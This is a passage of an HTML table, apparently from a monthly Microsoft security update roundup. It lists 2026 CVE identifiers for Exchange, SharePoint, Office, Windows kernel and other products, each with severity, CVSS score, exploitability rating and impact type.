  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
